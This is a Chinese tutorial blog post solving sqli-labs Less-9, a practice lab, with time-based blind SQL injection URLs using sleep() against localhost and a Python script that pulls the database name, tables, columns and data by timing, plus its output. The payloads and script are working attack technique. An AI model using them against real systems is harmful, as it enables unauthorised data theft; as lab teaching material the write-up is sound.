目 录CONTENT

文章目录

sqli-labs系列——Less-9

cz
cz
2023-06-07 / 0 评论 / 1 点赞 / 174 阅读 / 1,629 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-06-25,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

前言

这关主要给大家讲解时间盲注知识点

前期准备

开启phpstudy,开启apache服务以及mysql服务

打开ASCII表
图片-1686619451321

实验环节

浏览器访问Less-9

http://127.0.0.1/sqli-labs-master/Less-9/

图片-1686103233092

判断是否存在注入

按照布尔盲注的手法,尝试后发现这里无论输入什么条件,回显的结果都是一个,这就证明不能再用刚刚布尔盲注的做法了,我们尝试使用时间盲注来解题

判断库名长度

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (length(database())=9,sleep(5),1) -- xz
#假设库名长度为9,页面回显时间是立刻进去,并没有到我们这边设置的5秒
http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if (length(database())=8,sleep(5),1) -- xz
#所以正确的是库名长度为8,页面加载5s后进去

利用ASCII码判断当前数据库名称

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr(database(),1,1))=115),sleep(5),1) -- xz
#经过一段时间推测,当数值为115时,页面延时5s左右加载,说明数据库名称第一位是s
......以此类推,可得出剩下的字母,组合起来就是我们的数据库名称

判断表名

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101),sleep(5),1) -- xz
#当数值为101时,页面延时5s左右加载,说明数据库表名的第一个的第一位是e
.................以此类推可得出剩下字符,可通过ASCII表查看
综合前面的一些题目,推测第一个表名为emails

判断字段名

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if ((ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105),sleep(5),1) -- xz
#同样的当数值为105时,页面延时5s左右正常,通过结果可以得出emails表中的列名称第一位是i

使用python脚本做题

代码如下

import requests
import time
import datetime
url = "http://192.168.199.135/sqli-labs-master/Less-9/index.php"
p1 = 'abcdefghijklmnopqrstuvwxyz'
#获取数据库长度
def database_len():
    for i in range(1,10):
        payload = "?id=1' and if(length(database())>%s,sleep(4),0)--+"%i
        url1 = url +payload
        #print(url1)
        time1 =datetime.datetime.now()
        r=requests.get(url=url1)
        time2=datetime.datetime.now()
        time3 = (time2-time1).total_seconds()    #计算时间差, 忽略天 只看时分秒   total_seconds() 真正的时间差 包含天
        if time3 >= 4:
            print(i)
        else:
            print(i)
            break
    print('数据库长度为:',i)

#database_len()


#获取数据库名
def datebase_name():
    name=''
    for i in range(1,9):
        for j in p1:
            payload="?id=1' and if(substr(database(),%s,1)='%s',sleep(4),1)--+" %(i,j)
            url1=url+payload
            #print(url1)
            time1=datetime.datetime.now()
            r=requests.get(url=url1)
            time2=datetime.datetime.now()
            time3=(time2-time1).total_seconds()
            if time3 >= 4:
                name += j
                print(name)
                break
    n = name
    print('数据库名字为:'+n)

#datebase_name()

#获取表
def tables_name():
    global table4
    table1=''
    table2=''
    table3=''
    table4=''
    for i in range(5):
        for j in range(1,6):
            for t in p1:
                payload="?id=1' and sleep(if((mid((select table_name from information_schema.tables where table_schema=database() limit %s,1),%s,1)='%s'),3,0)) --+"%(i,j,t)
                url1=url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r=requests.get(url=url1)
                time2=datetime.datetime.now()
                time3=(time2-time1).seconds
                if time3 >= 3:
                    if i == 0:
                        table1 +=t
                        print('第一个表为:',table1)
                    elif i == 1:
                        table2 += t
                        print('第二个表为:',table2)
                    elif i == 2:
                        table3 +=t
                        print('第三个表为:',table3)
                    elif i == 3:
                        table4 += t
                        print('第四个表为:',table4)
                    else:
                        break
    print('第一个表为'+table1)
    print('第二个表为'+table2)
    print('第三个表为' + table3)
    print('第四个表为' + table4)


#tables_name()

#获取表中的字段
def table_column():
    global column3
    column1=''
    column2=''
    column3=''
    f=table4
    for i in range(3):
        for j in range(1,9):
            for t in p1:
                payload="?id=1' and sleep(if((mid((select column_name from information_schema.columns where table_name=\'%s\' limit %s,1),%s,1)='%s'),5,0)) --+"%(f,i,j,t)
                url1 =url+payload
                #print(url1)
                time1 = datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2 - time1).seconds
                if time3 >= 5:
                    if i == 0:
                        column1 += t
                        print('字段一为:'+column1)
                    elif i == 1:
                        column2 += t
                        print('字段二为:'+column2)
                    elif i == 2:
                        column3 += t
                        print('字段三为:'+column3)
                    else:
                        break
    print('users字段一为:'+column1)
    print('字段二为:'+column2)
    print('字段三为:',column3)


#table_column()

def s_content():
    content1=''
    f1= column3
    f2= table4
    for i in range(20):
            for t in p1:
                payload = "?id=1' and sleep(if((mid((select %s from %s limit 7,1),%s,1)='%s' ),3,0)) --+"%(f1,f2,i,t)
                url1 =url+payload
                #print(url1)
                time1=datetime.datetime.now()
                r = requests.get(url=url1)
                time2 = datetime.datetime.now()
                time3 = (time2-time1).seconds
                if time3 >=3:
                        content1 += t
                        print('password字段一内容为:'+content1)
                        break

    print('字段内容为:'+content1)


start_time=time.time()
database_len()
datebase_name()
tables_name()
table_column()
s_content()
end_time=time.time()
end_start_time=end_time-start_time
print('总花费时间为',end_start_time,'秒')

运行结果

D:\pythonProject\my_pythonProject\Scripts\python.exe D:\pythonProject\my_pythonProject\Less-9.py 
1
2
3
4
5
6
7
8
数据库长度为: 8
s
se
sec
secu
secur
securi
securit
security
数据库名字为:security
第一个表为: e
第一个表为: em
第一个表为: ema
第一个表为: emai
第一个表为: email
第二个表为: r
第二个表为: re
第二个表为: ref
第二个表为: refe
第二个表为: refer
第三个表为: u
第三个表为: ua
第三个表为: uag
第三个表为: uage
第三个表为: uagen
第四个表为: u
第四个表为: us
第四个表为: use
第四个表为: user
第四个表为: users
第一个表为email
第二个表为refer
第三个表为uagen
第四个表为users
字段一为:u
字段一为:us
字段一为:use
字段一为:user
字段二为:c
字段二为:cu
字段二为:cur
字段二为:curr
字段二为:curre
字段二为:curren
字段二为:current
字段三为:t
字段三为:to
字段三为:tot
字段三为:tota
字段三为:total
字段三为:totalc
字段三为:totalco
users字段一为:user
字段二为:current
字段三为: totalco
字段内容为:
总花费时间为 264.511536359787 秒

进程已结束,退出代码0

图片-1686106068136

1

评论区